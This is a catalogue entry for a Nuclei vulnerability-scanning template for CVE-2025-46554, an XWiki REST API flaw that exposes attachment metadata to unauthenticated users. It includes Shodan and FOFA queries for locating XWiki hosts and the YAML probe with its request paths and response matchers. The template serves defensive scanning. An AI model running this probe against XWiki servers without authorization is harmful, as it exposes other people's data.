CVE-2025-46554: XWiki REST API - Attachments Disclosure
- Template: CVE-2025-46554
- Name: XWiki REST API - Attachments Disclosure
- Description: A vulnerability in XWiki's REST API allows unauthenticated users to access attachments list and metadata through the attachments endpoint. This could lead to disclosure of sensitive information stored in attachments metadata.
- Impact: Unauthenticated users can access attachment lists and metadata through the REST API attachments endpoint, potentially exposing sensitive information.
- Remediation: Upgrade to the latest XWiki version that implements proper authorization checks for the attachments REST API endpoint.
- Severity: high
- Authors: ritikchaddha
- Tags: cve, cve2025, xwiki, rest-api, exposure, vkev, vuln
- References: https://jira.xwiki.org/browse/XWIKI-22424, https://nvd.nist.gov/vuln/detail/CVE-2025-46554
- Cves: CVE-2025-46554
- Verified: yes
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2025/CVE-2025-46554.yaml
- Digest: 4a0a0047304502206177deff6ff948bb176ed1b03d3ce3babb2b0a4b649fc427cb661942fec55910022100e0c0a62453b2f0915dab21441469a47740394704e6431a3f458b490e5cf7faa9
- Created at: 2025-08-30T14:48:53Z
- Updated at: 2025-12-15T12:28:58Z
- Age in days: 451
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-46554.yaml
Classification
- Cwe: CWE-285
- Cvss score: 7.5
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
- Not known: epss score, epss percentile
Metadata
- Fofa-query: body="data-xwiki-reference"
- Max-request: 2
- Product: xwiki
- Shodan-query: html:"data-xwiki-reference"
- Vendor: xwiki
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| xwiki:xwiki | yes | /v1/products/xwiki/xwiki |
Labels
- Name: XWiki - Information Disclosure
- Impact: Unauthenticated users can access sensitive attachment metadata, potentially leading to information disclosure.
- Remediation: Update to versions 14.10.22, 15.10.12, 16.4.3, or 16.7.0 or later.
- Vulnerability type: broken_access_control
- Vulnerability impact: information_disclosure
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2025-46554
- Not known: requirements
```yaml
id: CVE-2025-46554
info:
name: XWiki REST API - Attachments Disclosure
author: ritikchaddha
severity: high
description: |
A vulnerability in XWiki's REST API allows unauthenticated users to access attachments list and metadata through the attachments endpoint. This could lead to disclosure of sensitive information stored in attachments metadata.
impact: |
Unauthenticated users can access attachment lists and metadata through the REST API attachments endpoint, potentially exposing sensitive information.
remediation: |
Upgrade to the latest XWiki version that implements proper authorization checks for the attachments REST API endpoint.
reference:
- https://jira.xwiki.org/browse/XWIKI-22424
- https://nvd.nist.gov/vuln/detail/CVE-2025-46554
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-285
cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
metadata:
max-request: 2
verified: true
vendor: xwiki
product: xwiki
shodan-query: html:"data-xwiki-reference"
fofa-query: body="data-xwiki-reference"
tags: cve,cve2025,xwiki,rest-api,exposure,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/{{path}}"
payloads:
path:
- "rest/wikis/xwiki/spaces/Sandbox/pages/WebHome/attachments"
- "xwiki/rest/wikis/xwiki/spaces/Sandbox/pages/WebHome/attachments"
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains_any(header, 'text/xml', 'text/javascript')"
- "contains_all(body, '<attachments', '<item', '<longSize')"
condition: and
digest: 4a0a0047304502206177deff6ff948bb176ed1b03d3ce3babb2b0a4b649fc427cb661942fec55910022100e0c0a62453b2f0915dab21441469a47740394704e6431a3f458b490e5cf7faa9:922c64590222798bb761d5b6d8e72950
```